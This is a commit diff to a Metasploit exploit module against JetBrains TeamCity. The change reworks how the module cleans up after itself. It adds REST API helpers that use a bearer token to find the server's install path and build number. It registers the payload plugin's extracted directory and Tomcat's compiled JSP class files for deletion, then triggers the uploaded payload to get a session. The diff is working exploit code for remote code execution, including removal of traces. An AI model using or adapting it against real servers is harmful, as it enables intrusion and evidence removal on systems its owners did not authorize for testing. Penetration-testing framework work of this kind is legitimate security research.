rework some of the cleanup logic
This commit is contained in:
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
|
||||
'sfewer-r7', # Discovery, Analysis, Exploit
|
||||
],
|
||||
'References' => [
|
||||
# ['CVE', '2024-12345'],
|
||||
@@ -68,9 +68,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
|
||||
json_data = res.get_xml_document
|
||||
xml_data = res.get_xml_document
|
||||
|
||||
server_data = json_data.at('server')
|
||||
server_data = xml_data.at('server')
|
||||
|
||||
version = "JetBrains TeamCity #{server_data.attr('version')}"
|
||||
|
||||
@@ -206,7 +206,33 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
|
||||
begin
|
||||
#
|
||||
# 6. Trigger the payload and get a session.
|
||||
# 6. Begin to clean up, register several paths for cleanup.
|
||||
#
|
||||
if (install_path, sep = get_install_path(token_value))
|
||||
vprint_status("Target install path: #{install_path}")
|
||||
|
||||
# The payload plugin will have its buildServerResources extracted to a path like:
|
||||
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
|
||||
# So we register this for cleanup.
|
||||
# Note: The java process may recreate this a second time after we delete it.
|
||||
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
|
||||
|
||||
if (build_number = get_build_number(token_value))
|
||||
vprint_status("Target build number: #{build_number}")
|
||||
|
||||
# The Tomcat web server will compile our JSP payload and store the associated .class files in a path like:
|
||||
# C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\
|
||||
# So we register this for cleanup too.
|
||||
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
|
||||
else
|
||||
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
|
||||
end
|
||||
else
|
||||
print_warning('Could not discover install path. Unable to register files for cleanup.')
|
||||
end
|
||||
|
||||
#
|
||||
# 7. Trigger the payload and get a session.
|
||||
#
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
@@ -219,48 +245,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.')
|
||||
end
|
||||
|
||||
#
|
||||
# 7.Begin to clean up, we need to discover the TeamCity installation folder
|
||||
#
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
|
||||
'headers' => {
|
||||
'Authorization' => "Bearer #{token_value}"
|
||||
}
|
||||
)
|
||||
|
||||
if res&.code == 200
|
||||
plugins_xml = res.get_xml_document
|
||||
|
||||
restapi_data = plugins_xml.at("//plugin[@name='rest-api']")
|
||||
|
||||
restapi_load_path = restapi_data&.attr('loadPath')
|
||||
|
||||
if restapi_load_path
|
||||
# Look for the Windows :\ part of a path, e.g. C:\TeamCity to determine if target is Windows based.
|
||||
sep = restapi_load_path.include?(':\\') ? '\\' : '/'
|
||||
|
||||
# Pull out the path of a known plugin (we know rest-api is loaded as we are using it), e.g.:
|
||||
# C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api
|
||||
# And transform the path into the folder our payload plugin extracted to, e.g.:
|
||||
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
|
||||
restapi_load_path.gsub!('WEB-INF', '')
|
||||
restapi_load_path.gsub!('rest-api', plugin_name)
|
||||
|
||||
# Reduce and double separators to single separators, e.g. foo\\bar becomes foo\bar
|
||||
restapi_load_path.gsub!("#{sep}#{sep}", sep)
|
||||
|
||||
register_file_for_cleanup("#{restapi_load_path}#{sep}#{plugin_name}.jsp")
|
||||
|
||||
register_dir_for_cleanup(restapi_load_path)
|
||||
else
|
||||
print_warning('Could not rest-api plugin paths. Unable to register files for cleanup.')
|
||||
end
|
||||
else
|
||||
print_warning('Could not discover plugin paths. Unable to register files for cleanup.')
|
||||
end
|
||||
ensure
|
||||
#
|
||||
# 8. Ensure we delete the plugin from the server when we are finished.
|
||||
@@ -279,6 +263,69 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
def get_install_path(token_value)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
|
||||
'headers' => {
|
||||
'Authorization' => "Bearer #{token_value}"
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
print_warning('Failed to request plugins information.')
|
||||
return nil
|
||||
end
|
||||
|
||||
plugins_xml = res.get_xml_document
|
||||
|
||||
restapi_data = plugins_xml.at("//plugin[@name='rest-api']")
|
||||
|
||||
restapi_load_path = restapi_data&.attr('loadPath')
|
||||
|
||||
if restapi_load_path.nil?
|
||||
print_warning('Failed to extract plugin loadPath.')
|
||||
return nil
|
||||
end
|
||||
|
||||
# C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api
|
||||
|
||||
platforms = {
|
||||
'\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\',
|
||||
'/webapps/ROOT/WEB-INF/plugins/' => '/'
|
||||
}
|
||||
|
||||
platforms.each do |path, sep|
|
||||
if (pos = restapi_load_path.index(path))
|
||||
return [restapi_load_path[0, pos], sep]
|
||||
end
|
||||
end
|
||||
|
||||
print_warning('Failed to extract install path.')
|
||||
nil
|
||||
end
|
||||
|
||||
def get_build_number(token_value)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),
|
||||
'headers' => {
|
||||
'Authorization' => "Bearer #{token_value}"
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
print_warning('Failed to request server information.')
|
||||
return nil
|
||||
end
|
||||
|
||||
xml_data = res.get_xml_document
|
||||
|
||||
server_data = xml_data.at('server')
|
||||
|
||||
server_data.attr('buildNumber')
|
||||
end
|
||||
|
||||
def get_plugin_uuid(token_value, plugin_name)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
|
||||
Reference in New Issue
Block a user